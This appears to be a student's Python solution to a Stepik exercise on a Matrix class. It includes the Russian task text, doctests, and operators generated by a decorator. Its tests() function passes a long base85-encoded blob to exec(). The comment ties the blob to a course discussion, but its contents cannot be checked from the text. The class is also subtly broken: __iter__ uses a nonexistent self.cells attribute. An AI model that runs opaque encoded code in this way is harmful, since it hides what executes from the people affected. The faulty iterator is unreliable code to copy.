py_stepik/mod_oop/3.9_12_matrix.py
2024-04-17 16:02:02 +03:00

302 lines
16 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

"""
https://stepik.org/lesson/701994/step/12?unit=702095
Объявите класс Matrix (матрица) для операций с матрицами.
Объекты этого класса должны создаваться командой:
m1 = Matrix(rows, cols, fill_value)
где rows, cols - число строк и столбцов матрицы; fill_value - заполняемое начальное значение элементов матрицы (должно быть число: целое или вещественное).
>>> rows, cols, fill_value = 4, 2, 0
>>> m1 = Matrix(rows, cols, fill_value)
Если в качестве аргументов передаются не числа, то генерировать исключение:
raise TypeError('аргументы rows, cols - целые числа; fill_value - произвольное число')
>>> m1 = Matrix("тест", cols, fill_value)
Traceback (most recent call last):
...
TypeError: аргументы rows, cols - целые числа; fill_value - произвольное число
Также объекты можно создавать командой:
m2 = Matrix(list2D)
где list2D - двумерный список (прямоугольный), состоящий из чисел (целых или вещественных).
>>> list2D = [[1, 2], [3, 4], [5, 6], [7, 8]]
>>> m2 = Matrix(list2D)
Если список list2D не прямоугольный, или хотя бы один из его элементов не число, то генерировать исключение командой:
raise TypeError('список должен быть прямоугольным, состоящим из чисел')
>>> m2 = Matrix([[1, 2], [3], [4, 5], [6, 7, 8]])
Traceback (most recent call last):
...
TypeError: список должен быть прямоугольным, состоящим из чисел
Для объектов класса Matrix должны выполняться следующие команды:
matrix = Matrix(4, 5, 0)
res = matrix[0, 0] # возвращается первый элемент матрицы
matrix[indx1, indx2] = value # элементу матрицы с индексами (indx1, indx2) присваивается новое значение
>>> matrix = Matrix(4, 5, 0)
>>> matrix[0, 0] = 42
>>> matrix[0, 0]
42
Если в результате присвоения тип данных не соответствует числу, то генерировать исключение командой:
raise TypeError('значения матрицы должны быть числами')
Если указываются недопустимые индексы матрицы (должны быть целыми числами от 0 и до размеров матрицы), то генерировать исключение:
raise IndexError('недопустимые значения индексов')
Также с объектами класса Matrix должны выполняться операторы:
matrix = m1 + m2 # сложение соответствующих значений элементов матриц m1 и m2
matrix = m1 + 10 # прибавление числа ко всем элементам матрицы m1
matrix = m1 - m2 # вычитание соответствующих значений элементов матриц m1 и m2
matrix = m1 - 10 # вычитание числа из всех элементов матрицы m1
Во всех этих операция должна формироваться новая матрица с соответствующими значениями.
Если размеры матриц не совпадают (разные хотя бы по одной оси), то генерировать исключение командой:
raise ValueError('операции возможны только с матрицами равных размеров')
Пример для понимания использования индексов (эти строчки в программе писать не нужно):
mt = Matrix([[1, 2], [3, 4]])
res = mt[0, 0] # 1
res = mt[0, 1] # 2
res = mt[1, 0] # 3
res = mt[1, 1] # 4
P.S. В программе нужно объявить только класс. Выводить на экран ничего не нужно.
---
>>> Matrix(2, 2) - 2
Matrix([[-2, -2], [-2, -2]])
>>> Matrix(2, 2) == Matrix([[0, 0], [0, 0]])
True
>>> Matrix(2, 2, 2) == [[2, 2], [2, 2]]
True
>>> Matrix(2, 2, 2) == [[2, -2], [2, 2]]
False
"""
from functools import singledispatchmethod
from operator import add, floordiv, mod, mul, sub, truediv, xor
def add_ops(*ops):
def decorator(cls):
def make_methods(op):
def method_new(self, other):
return self.__class__(self.mapped(op, other))
def method_ip(self, other):
self.data = self.mapped(op, other)
return self
def method_r(self, other):
if isinstance(other, (int, float)):
return self.__class__(
[
*map(
lambda row: [*map(lambda x: op(other, x), row)],
self.data,
)
]
)
return NotImplemented
return {
f"__{op.__name__}__": method_new,
f"__i{op.__name__}__": method_ip,
f"__r{op.__name__}__": method_r,
}
for op in ops:
for name, method in make_methods(op).items():
setattr(cls, name, method)
return cls
return decorator
@add_ops(add, sub, mul, truediv, floordiv, xor, mod, pow)
class Matrix:
@singledispatchmethod
def __init__(self, rows, cols, fill_value=0):
args_valid = (
isinstance(rows, int)
and isinstance(cols, int)
and isinstance(fill_value, (int, float))
)
if not args_valid:
raise TypeError(
"аргументы rows, cols - целые числа; fill_value - произвольное число"
)
self.rows, self.cols = rows, cols
self.data = [[fill_value for _ in range(cols)] for _ in range(rows)]
@__init__.register(list)
@__init__.register(tuple)
def _from_list_tuple(self, data):
data = data or [[]]
if not isinstance(data[0], (list, tuple)):
raise TypeError("список должен быть прямоугольным, состоящим из чисел")
self.rows, self.cols = len(data), len(data[0])
self.data = []
for row in data:
if len(row) != self.cols:
raise TypeError("список должен быть прямоугольным, состоящим из чисел")
new_row = []
for value in row:
if not isinstance(value, (int, float)):
raise TypeError(
"список должен быть прямоугольным, состоящим из чисел"
)
new_row.append(value)
self.data.append(new_row)
def validate_index(self, index):
if not isinstance(index, tuple):
raise IndexError("недопустимые значения индексов")
row, col = index
if (
not isinstance(row, int)
or not 0 <= row < self.rows
or not isinstance(col, int)
or not 0 <= col < self.cols
):
raise IndexError("недопустимые значения индексов")
return row, col
def __getitem__(self, index):
row, col = self.validate_index(index)
return self.data[row][col]
def __setitem__(self, index, new_value):
row, col = self.validate_index(index)
if not isinstance(new_value, (int, float)):
raise TypeError("значения матрицы должны быть числами")
self.data[row][col] = new_value
def validate_size(self, other):
if not isinstance(other, self.__class__):
raise NotImplementedError
if (self.rows, self.cols) != (other.rows, other.cols):
raise ValueError("операции возможны только с матрицами равных размеров")
def mapped(self, op, other):
if isinstance(other, (int, float)):
return [*map(lambda row: [*map(lambda x: op(x, other), row)], self.data)]
self.validate_size(other)
return [
*map(
lambda self_row, other_row: [
*map(
lambda self_x, other_x: op(self_x, other_x), self_row, other_row
)
],
self.data,
other.data,
)
]
def __len__(self):
return self.rows
def __iter__(self):
return (
(self.cells[row][col].data for col in range(self.cols))
for row in range(self.rows)
)
def __eq__(self, other):
if isinstance(other, self.__class__):
return self.data == other.data
if isinstance(other, list):
return self.data == other
return NotImplemented
def __ne__(self, other):
return not self == other
def __repr__(self):
return f"{self.__class__.__name__}({self.data!r})"
def tests():
# 10x = https://stepik.org/lesson/701994/step/12?discussion=5990560&unit=702095
code = (
b"Y-w|JGDILfAX{58EFdynEFfDmEFd&pEFfDoEFd;4AU9oI3UqRLItm~lARu#eAUz;WVRUk7cqnX"
+ b"Xb96F9DGFtHV`Xr3AXIs9WkqswZ*n>cARr(hVRLh3a&#b6a&=`2Wo&b0Itm~lARu9Lb7gXLAVy(q"
+ b"b7d?bBGA3iwII=f(6i9B(7n*L(SXpn(SXpt(6Z35(7VvS(Sgy7AketcfzZ0pyU~u(htRdqz0kPOw"
+ b"IEb^aAieua&K}V(6rFI(T^a|z0kEF(7(}u(T~u)(7w@w(6i9K(7Vx$(7n*U(6i9KAkl%)ztFhRfz"
+ b"Z0puprQ~AkezdzR<nVfzg7|fYF1{y3vBrzR`ftwIEGlbaH8UA_@v@X>)WkL?AsNTU#+KAX{BsEFf"
+ b"DmEFd&pEFfDoEFd;rT?%w^c{&OpARr)fbRaz-O<{C$X?Q4XX>)WkL@5eocw=R7bRblDaAieua&K}"
+ b"v3LqdLAYpTJWpZ>NRC0A?3T13_WjYEVARr)Nb8}^KbRb4yY;$ESAR^Gc(6u1ZfzY$iwa~rLwb6jk"
+ b"xY2;nzR<GJu+Y2EzR`ivj3Cgs(Sgvq(7Vx&(TC8r(7n*O(6t~`d2nS#a&m8SAkehXyU~vz(Sgvv("
+ b"74fo(7MpDAke+gwII;A(6=DbhtRmufzY+kyCBfAAkezdzR<nVfzg7|fYF1{y3vBrzR`ftwIEGlba"
+ b"H8UA_@w0a(OxmARr(hb95j*AWdO(a%p%dCov~1ATlf<FewUUcw=R7bRblDaAieua&K}v3LqdLAYp"
+ b"TJWpZ>NRC0A?3T13_WjYEVARr)Nb8}^KbRb4yY;$ESAR^Gc(6u1ZfzY$iwa~rLwb6jkxY2;nzR<G"
+ b"Ju+Y2EzR`ivj3Cgs(Sgvq(7Vx&(TC8r(7n*O(6t~`d2nS#a&m8SAkehXyU~vz(7n*LAkl}=xY2>o"
+ b"yU@PSveAptg&@$d(SXpi(Sy*u(6!LL(Sp#v(6S)VvLMj9(7w>U(Sgx|(SXr|(7Mrr(7w@t(6t~<V"
+ b"RUk7cp?f4Y-w|JGDILfAX{58EFdynEFfDmEFd&pEFfDoEFd;rT?%bsbaH8UAUz;WVRUk7cqnXXb9"
+ b"6F9DGFh8b7gXLAZ=lEa%p&5GAtl5T_8O@AT}%@BGA3iwa~KAwb6jkz0kfO(7w@v(SXpf(6P|I(Sp"
+ b"#h(7Pbey3oGRz0rZug3*A{gV4Isg3!LvfFRJg(7VvMAYWf+WprtDWo=(yA_@v^VRUk7cpyC>O<{C"
+ b"$X?Q3!EFd*3ATcm03So0|WpZ>NZDDkBX?R;REFd&pAU!=GF)%D3BGA3iwa~KAwb6jkz0kfO(7w@v"
+ b"(SXpf(6P|I(Sp#h(7Pbey3oGRz0rZug3*A{gV4Isg3!LvfFRJg(7VvMAYWf+WprtDWo=(yA_@w0a"
+ b"(OxmARr(hb|5_<ZDDkBX?R;REFdj0T?%D*V`Xr3AW3dyWq3t$a&K}v3LqdLAYpTJWpZ>NRC0A?3T"
+ b"13_WjYEVARr)Nb8}^KbRb4yY;$ESAR^Gc(6u1ZfzY$iwa~rLwb6jkxY2;nzR<GJu+Y2EzR`ivj3C"
+ b"gs(Sgvq(7Vx&(TC8r(7n*O(6t~*Ze(S6MRIa)av}-}baHt*3LqdLAa)=<AZ=lEa%p&5Com^0AT(V"
+ b"HWq4y{aC9I^Ze(S6MRIa)aykkiARr)Nb8}^KbRbl6b!7@=Y;$Eg3LqdLAYpTJWpZ>NMqzAoWh@{f"
+ b"(7n*LAkl%)v(UBBz0kGMfY7+nfY83sve2;5yU@PTfzga0(74fo(7MpO(T>rF(6!LL(74dGAW3dyW"
+ b"q3t$a&K}X3JPsubaH8UTQDpjFkK)$AU6tOb8}^KbRcbEbaH8UTQDpjFkK)$Js>wMAR^Gc(6!LA(6"
+ b"!Nk(7n*UAke<ig3*A`u+Xv4zR`lvu+Y08Ute=&bZK;DZC_s^3JP>`c{&OpARr)ZVRUk7cv~<mATV"
+ b"7ZJs>AxCkkbFV`Xr3AXIs9WkqswZ*n>cARr(hVRLh3a&#b6a&=`2Wo&b0Itm~lARu9Lb7gXLAVy("
+ b"qb7d?bBGA3iwII=f(6i9B(7n*L(SXpn(SXpt(6Z35(7VvS(Sgy7AketcfzZ0pyU~u(htRdqz0kPO"
+ b"wIEb^aAieua&K}V(6S(3Uvp)2X>?_6Utb~$3T-hUJs?eCbaH8UC|g@GEFdynEFfDmEFd&pT`3A}G"
+ b"9W!5O<{C$X?Q4GTQMvkF<mSmTQMvkF<mSmTQMvkF<o6L3JP>`c{&OpARr)ZVRUk7cpyC>Z80D#AZ"
+ b";=VWq4y{aC9J6VQh6}MRIa)aykkiARr)Nb8}^KbRbl6b!7@=Y;$Eg3LqdLAYpTJWpZ>NMqzAoWh@"
+ b"{f(7n*LAkl%)v(UBBz0kGMfY7+nfY83sve2;5yU@PTfzga0(74fo(7MpO(T>rF(6!LL(74dGAXZ^"
+ b")b!A0za&K}V(7(}u(6}JcfzZ3qzR<SNwa~rLxX`#D(7e#F(Sp%{(74ftAkl!(u+X>Az0r%&g&@&@"
+ b"(6G?A(7e#K(SXpt(6S;53T-hUJs?eCbaH8UC|g@GEFdynEFfDmEFd&pT`3A}G9W!5O<{C$X?Q4GT"
+ b"QMvkF<mSmTQMvkF<o6L3T<I@a%p%VJs@o{AS)nkG74dHb7gXLAZc@HZgX^DZewLAZDDkBX?QFkO<"
+ b"{C$X?Q6tAR^Gd(7({N(SXpf(T32t(T^a}fzZ3qzR<SNwa~rLxY3Uw(7e#F(Sp%{(74ftAkehXzR<"
+ b"hSw$Q!MuprQ~(7w>O(6Z5h(6G^o(6G^h(TpI`jnKN#x6rlFywJbUyU~x)fFRJi(7VvE(Sgx{(6As"
+ b")VRUk7cp?g6b8}^KbRcbEbaH8UTQMvkF<l@%Js>qKAR^Gc(6!LA(6!Nk(7n*UAke<ig3*A`u+Xv4"
+ b"zR`lvu+Y2EuprRB(7({N(SXpf(T32t(T^a}fzZ3qzR<SNwa~rLxY3Uw(7e#F(Sp%{(74ftA_`%1b"
+ b"7gXLAZ;;QF)Sc4T_8O@AT%IhZe$>BF<US!ATeDaJv|^YAYpD~AZ;>RF)Sc4T_8O@ATc0Z3LqdLAR"
+ b"r(hVQyp~Z8BRhEFdslAU!=GF)Sb=(74fo(S^{y(6rFK(TmWvAke(fu+f6ifY7+nhS7^4(7n*LAke"
+ b"hXzR<hSw$Q!Niy+Xv(6!LL(T~xB(Tvf7(T^a|ztMouxFFEJ(7({N(SXpf(T32t(6}JcfzZ3qzR<S"
+ b"Nwa~rLxY3Uy3JPs8AUz;WVRUk7cqlR~ATlf<F)0dZWM6GDUvF$=AUz;yWGHPhDGF^eAUz;WVRUk7"
+ b"cqlR~ATlf<F)0ddF(5r4Z80D#AZ;=VX=Gn*F<)+FcOX3=X=EsEF)0dRb8}^KbRcPDUu`j8Z){{BA"
+ b"w3{zWM6GDUv6c0EFdD#vLMlb(6!LF(Sy*t(Tvf8(6G^h(6u1YzR<tWwb6jku+fIlxX`#D(Sgvr(7"
+ b"w>N(6!LL(74f$AkehXzR<hSw$QcEy&%zn(7w>O(6rF7(6Z35(Sp&8(SgyAAkdxAp3suetI(Ms(T&"
+ b"i$(6`XF(7e#U(7Vx((SRV(y3o7Ou+f3hfzYrZO<{C$X?P+E3T<I@a%p%VJs?eCbaH8UC^9S{GAtl"
+ b"4DGF^MJs@pibaH8UAS)m-FbZLFb7gXLAZ=lEa%p&5Ff1T2T_8O@AZ=lEa%p&5F)Sc4T_8O@ATTT-"
+ b"BG9<efzgG~zR<MLz0r%%wII;E(6G^h(SXpn(S~6l(7n*LAkehXzR<hSw$Q!MuprR9(6!LL(T~xB("
+ b"Tvf7(T^a|ztMouxFFEJ(7({N(SXpf(T32t(6}JcfzZ3qzR<SNwa~rLxY3UwV<6Fo(74fo(7VvS(7"
+ b"YlFVRLh3a&#bVTQDpjFkK)$Js>eKEFdD#z0kGLve32BfY80rz97)P(Sp%{(6G?4(7w@v(6G?E(6A"
+ b"uTzR<tWwb6jku+fIlxY3Uw(Sgvr(7w>N(6!LL(74f$Ake(fu+f6ifY7+nhS7^4(Sab*htRmufzZ3"
+ b"qzR<iP3JPs8AUz;WVRUk7cqlR~ATlf<F)0ddG9W!5O<{C$X?Q4GTQDpjF<mSmTQMvkFkM|K3Tb3z"
+ b"ZggpMd0%Z|baH8UAUz;$F(54<Z89JrBOuVU(7w>S(6-RM(6AuTztFzWyU~NuhtRmug3*l8fzgj3("
+ b"6!LC(74dO(74fu(7n*G(T^a|ywI@Gg3*A`xY35tunJ*wb7gXLAZ;;QFf1T2T_8O@ATc0eZe$>BF<"
+ b"UV#ATeDaJv|^XAYpD~AZ;>RFf1T2T_8O@ATS_Y3LqdLARr(hVQyp~Z8BRhEFdvmAU!=GF)Sb=(74"
+ b"fo(S^{y(6rFK(TmWvAke(fu+f6ifY7+nhS7^4(7n*LAkehXzR<hSw$Q!Niy+Xv(6!LL(T~xB(Tvf"
+ b"7(T^a|ztMouxFFEJ(7({N(SXpf(T32t(6}JbveApthtRmug3z$gz0kPPk0J_Tb8}^KbRcPDWo~q7"
+ b"ba`KGVRUk7cv~<mATV7ZJv|^XAYpD~AZcV}ZggpMd0%Z|baH8UTQMvkF<l@%Js>eGAR^Gc(6!LA("
+ b"6!Nk(7n*UAke<ig3*A`u+Xv4zR`lvu+Y2EuprRB(7({N(SXpf(T32t(T^a|veApthtRmug3z$gz0"
+ b"kPPk08*z(6G^h(SXpn(S{-l3T<I@a%p%VJs?eCbaH8UC^9S{GAtl5DGF^MJs@pibaH8UAT1y<3So"
+ b"0|WpZ>NZDDkBX?R;OEFdslAU!=GZDDkBX?R;PEFdvmAU!=GF)Sb=(74fo(S^{y(6rFK(TmWvAke("
+ b"fu+f6ifY7+nhG8Jkz0kEF(6rFL(7VvK(7n*GAke(fwa~rMkI{nBjM0J7k08*$(SXpnAke<hztFYO"
+ b"fY7kfhS0dsxFFE7(TmZC(74fp(6G?G(74f$AY&lWhtRmufzZ3qzR<iP3So0|WpZ>NZCfxbATV7ZJ"
+ b"v|_8TQMvkF<l@%Js>bFAR^Gc(6!LA(6!Nk(7n*UAke<ig3*A`u+Xv4zR`lvu+Y2EuprRB(7({N(S"
+ b"Xpf(T32t(T^a|veApthtRmug3z$gz0kPPk08;9(74fo(7VvEAketbw;<5G(6G^h(SXpn(T35BA^"
)
exec(__import__("base64").b85decode(code))
if __name__ == "__main__":
import doctest
doctest.testmod()
tests()